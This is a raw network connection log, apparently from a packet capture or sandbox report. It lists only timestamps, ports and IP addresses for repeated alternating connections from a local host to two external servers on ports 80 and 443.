Jan 10, 2025 21:49:56.752142906 CET	49991	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:57.348324060 CET	443	49992	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:57.350011110 CET	49992	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:57.350020885 CET	443	49992	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:57.350090027 CET	49992	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:57.350097895 CET	443	49992	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:57.593558073 CET	443	49992	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:57.593650103 CET	443	49992	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:57.593688011 CET	49992	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:57.594232082 CET	49992	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:57.597419977 CET	49991	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:57.598567009 CET	49993	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:57.602494955 CET	80	49991	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:57.602557898 CET	49991	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:57.603437901 CET	80	49993	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:57.603497028 CET	49993	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:57.603646994 CET	49993	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:57.608443022 CET	80	49993	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:58.279535055 CET	80	49993	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:58.281636000 CET	49994	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:58.281663895 CET	443	49994	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:58.281936884 CET	49994	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:58.282735109 CET	49994	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:58.282744884 CET	443	49994	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:58.330238104 CET	49993	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:58.896692038 CET	443	49994	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:58.898355007 CET	49994	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:58.898367882 CET	443	49994	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:58.898454905 CET	49994	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:58.898458958 CET	443	49994	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:59.164591074 CET	443	49994	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:59.164673090 CET	443	49994	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:59.164731979 CET	49994	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:59.165191889 CET	49994	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:59.168261051 CET	49993	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:59.169269085 CET	49995	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:59.173280001 CET	80	49993	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:59.173470020 CET	49993	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:59.174146891 CET	80	49995	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:59.174350023 CET	49995	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:59.174350023 CET	49995	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:59.179163933 CET	80	49995	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:59.859024048 CET	80	49995	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:59.860642910 CET	49996	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:59.860730886 CET	443	49996	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:59.860831022 CET	49996	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:59.861167908 CET	49996	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:59.861192942 CET	443	49996	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:59.908341885 CET	49995	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:00.473620892 CET	443	49996	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:00.482851028 CET	49996	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:00.482932091 CET	443	49996	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:00.482997894 CET	49996	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:00.483021021 CET	443	49996	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:00.773906946 CET	443	49996	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:00.773977041 CET	443	49996	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:00.774043083 CET	49996	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:00.774616957 CET	49996	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:00.777957916 CET	49995	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:00.779238939 CET	49997	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:00.784084082 CET	80	49995	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:00.784234047 CET	80	49997	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:00.784307003 CET	49997	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:00.784451962 CET	49997	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:00.786150932 CET	49995	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:00.790589094 CET	80	49997	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:12.329430103 CET	80	49997	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:12.341274023 CET	49998	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:12.346157074 CET	80	49998	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:12.346257925 CET	49998	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:12.346396923 CET	49998	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:12.351217031 CET	80	49998	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:12.377218962 CET	49997	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:23.038342953 CET	80	49998	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:23.039617062 CET	49997	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:23.041631937 CET	49999	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:23.041666031 CET	443	49999	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:23.042124033 CET	49999	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:23.042963028 CET	49999	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:23.042979956 CET	443	49999	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:23.044735909 CET	80	49997	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:23.044855118 CET	49997	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:23.080328941 CET	49998	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:23.660551071 CET	443	49999	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:23.662523985 CET	49999	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:23.662545919 CET	443	49999	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:23.662754059 CET	49999	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:23.662760973 CET	443	49999	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:23.904071093 CET	443	49999	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:23.904148102 CET	443	49999	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:23.904217958 CET	49999	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:23.904649019 CET	49999	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:23.907430887 CET	49998	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:23.908596039 CET	50000	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:23.912462950 CET	80	49998	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:23.912539959 CET	49998	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:23.913428068 CET	80	50000	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:23.913489103 CET	50000	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:23.913609982 CET	50000	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:23.918456078 CET	80	50000	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:24.740422964 CET	80	50000	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:24.741744041 CET	50001	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:24.741786957 CET	443	50001	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:24.741862059 CET	50001	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:24.742194891 CET	50001	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:24.742207050 CET	443	50001	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:24.783396959 CET	50000	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:25.385771990 CET	443	50001	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:25.387676001 CET	50001	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:25.387686968 CET	443	50001	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:25.387804031 CET	50001	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:25.387815952 CET	443	50001	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:25.644469023 CET	443	50001	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:25.644565105 CET	443	50001	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:25.644721031 CET	50001	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:25.646145105 CET	50001	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:25.650877953 CET	50000	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:25.651961088 CET	50002	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:25.655935049 CET	80	50000	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:25.656023026 CET	50000	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:25.656820059 CET	80	50002	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:25.656891108 CET	50002	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:25.656995058 CET	50002	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:25.661822081 CET	80	50002	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:26.417074919 CET	80	50002	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:26.418479919 CET	50003	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:26.418517113 CET	443	50003	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:26.418766975 CET	50003	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:26.418931007 CET	50003	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:26.418940067 CET	443	50003	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:26.470844984 CET	50002	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:27.023294926 CET	443	50003	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:27.025065899 CET	50003	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:27.025082111 CET	443	50003	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:27.025120974 CET	50003	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:27.025130987 CET	443	50003	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:27.239593983 CET	443	50003	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:27.239690065 CET	443	50003	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:27.239767075 CET	50003	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:27.240185976 CET	50003	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:27.243855953 CET	50002	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:27.244604111 CET	50004	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:27.248873949 CET	80	50002	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:27.248928070 CET	50002	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:27.249412060 CET	80	50004	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:27.249490976 CET	50004	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:27.249675989 CET	50004	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:27.254487991 CET	80	50004	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:28.971643925 CET	80	50004	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:28.973066092 CET	50005	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:28.973136902 CET	443	50005	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:28.973211050 CET	50005	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:28.973541975 CET	50005	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:28.973556042 CET	443	50005	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:29.017767906 CET	50004	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:29.608464956 CET	443	50005	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:29.610064983 CET	50005	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:29.610097885 CET	443	50005	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:29.610157013 CET	50005	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:29.610167027 CET	443	50005	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:29.916520119 CET	443	50005	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:29.916591883 CET	443	50005	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:29.916654110 CET	50005	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:29.917108059 CET	50005	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:29.920183897 CET	50004	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:29.921441078 CET	50006	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:29.925128937 CET	80	50004	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:29.925209045 CET	50004	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:29.926213026 CET	80	50006	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:29.926284075 CET	50006	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:29.926539898 CET	50006	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:29.932688951 CET	80	50006	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:31.359970093 CET	80	50006	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:31.361998081 CET	50007	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:31.362060070 CET	443	50007	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:31.362123013 CET	50007	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:31.362781048 CET	50007	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:31.362797022 CET	443	50007	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:31.408443928 CET	50006	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:31.967333078 CET	443	50007	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:31.969739914 CET	50007	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:31.969786882 CET	443	50007	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:31.969837904 CET	50007	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:31.969849110 CET	443	50007	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:32.235797882 CET	443	50007	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:32.235882044 CET	443	50007	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:32.235961914 CET	50007	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:32.236788034 CET	50007	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:32.241033077 CET	50006	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:32.242290974 CET	50008	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:32.245975971 CET	80	50006	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:32.246104002 CET	50006	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:32.247127056 CET	80	50008	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:32.247226000 CET	50008	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:32.247325897 CET	50008	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:32.252052069 CET	80	50008	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:32.919162989 CET	80	50008	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:32.920520067 CET	50009	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:32.920566082 CET	443	50009	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:32.920636892 CET	50009	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:32.920964003 CET	50009	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:32.920974970 CET	443	50009	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:32.970907927 CET	50008	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:33.550693035 CET	443	50009	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:33.552459002 CET	50009	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:33.552475929 CET	443	50009	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:33.552536964 CET	50009	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:33.552545071 CET	443	50009	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:33.809947014 CET	443	50009	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:33.810044050 CET	443	50009	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:33.810098886 CET	50009	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:33.810543060 CET	50009	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:33.813997984 CET	50008	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:33.815722942 CET	50010	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:33.819056034 CET	80	50008	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:33.819113970 CET	50008	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:33.820580006 CET	80	50010	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:33.820643902 CET	50010	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:33.820760965 CET	50010	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:33.825495005 CET	80	50010	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:34.501948118 CET	80	50010	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:34.511007071 CET	50011	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:34.511048079 CET	443	50011	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:34.511181116 CET	50011	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:34.511472940 CET	50011	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:34.511482954 CET	443	50011	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:34.549166918 CET	50010	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:35.131479025 CET	443	50011	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:35.133379936 CET	50011	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:35.133397102 CET	443	50011	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:35.133495092 CET	50011	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:35.133501053 CET	443	50011	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:35.549534082 CET	443	50011	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:35.549626112 CET	443	50011	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:35.549679995 CET	50011	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:35.550273895 CET	50011	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:35.554956913 CET	50010	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:35.555891037 CET	50012	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:35.559993029 CET	80	50010	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:35.560061932 CET	50010	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:35.560677052 CET	80	50012	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:35.560751915 CET	50012	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:35.560878992 CET	50012	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:35.565594912 CET	80	50012	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:36.278785944 CET	80	50012	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:36.280375004 CET	50013	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:36.280438900 CET	443	50013	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:36.280531883 CET	50013	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:36.280821085 CET	50013	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:36.280838013 CET	443	50013	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:36.330302000 CET	50012	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:36.902545929 CET	443	50013	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:36.904360056 CET	50013	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:36.904407024 CET	443	50013	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:36.904484034 CET	50013	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:36.904491901 CET	443	50013	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:37.282336950 CET	443	50013	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:37.282422066 CET	443	50013	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:37.282594919 CET	50013	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:37.292335033 CET	50013	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:37.349730015 CET	50012	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:37.350814104 CET	50014	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:37.354916096 CET	80	50012	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:37.354965925 CET	50012	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:37.355570078 CET	80	50014	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:37.355631113 CET	50014	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:37.355726004 CET	50014	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:37.360449076 CET	80	50014	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:39.054969072 CET	80	50014	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:39.056901932 CET	50015	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:39.056958914 CET	443	50015	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:39.057063103 CET	50015	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:39.057408094 CET	50015	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:39.057429075 CET	443	50015	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:39.096007109 CET	50014	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:39.714139938 CET	443	50015	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:39.716181993 CET	50015	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:39.716217995 CET	443	50015	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:39.716270924 CET	50015	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:39.716279984 CET	443	50015	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:40.200716972 CET	443	50015	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:40.200841904 CET	443	50015	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:40.200925112 CET	50015	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:40.201442957 CET	50015	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:40.204752922 CET	50014	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:40.206064939 CET	50016	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:40.209669113 CET	80	50014	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:40.209844112 CET	50014	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:40.210823059 CET	80	50016	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:40.210902929 CET	50016	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:40.211007118 CET	50016	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:40.215733051 CET	80	50016	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:41.891834021 CET	80	50016	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:41.893843889 CET	50017	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:41.893882036 CET	443	50017	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:41.894349098 CET	50017	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:41.894349098 CET	50017	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:41.894381046 CET	443	50017	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:41.939728975 CET	50016	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:42.528518915 CET	443	50017	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:42.534398079 CET	50017	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:42.534421921 CET	443	50017	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:42.534485102 CET	50017	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:42.534493923 CET	443	50017	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:42.812026024 CET	443	50017	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:42.812107086 CET	443	50017	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:42.812190056 CET	50017	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:42.812840939 CET	50017	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:42.816863060 CET	50016	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:42.818202019 CET	50018	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:42.821834087 CET	80	50016	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:42.821903944 CET	50016	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:42.822979927 CET	80	50018	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:42.823051929 CET	50018	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:42.823199987 CET	50018	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:42.827986002 CET	80	50018	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:44.516010046 CET	80	50018	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:44.520999908 CET	50019	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:44.521037102 CET	443	50019	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:44.521208048 CET	50019	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:44.521502972 CET	50019	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:44.521513939 CET	443	50019	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:44.564696074 CET	50018	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:45.145579100 CET	443	50019	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:45.147537947 CET	50019	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:45.147556067 CET	443	50019	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:45.147619009 CET	50019	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:45.147623062 CET	443	50019	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:45.461563110 CET	443	50019	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:45.461711884 CET	443	50019	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:45.461815119 CET	50019	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:45.462522984 CET	50019	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:45.466532946 CET	50018	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:45.469558001 CET	50020	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:45.471571922 CET	80	50018	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:45.471656084 CET	50018	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:45.474483967 CET	80	50020	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:45.474613905 CET	50020	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:45.474809885 CET	50020	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:45.479619026 CET	80	50020	132.226.247.73	192.168.2.10
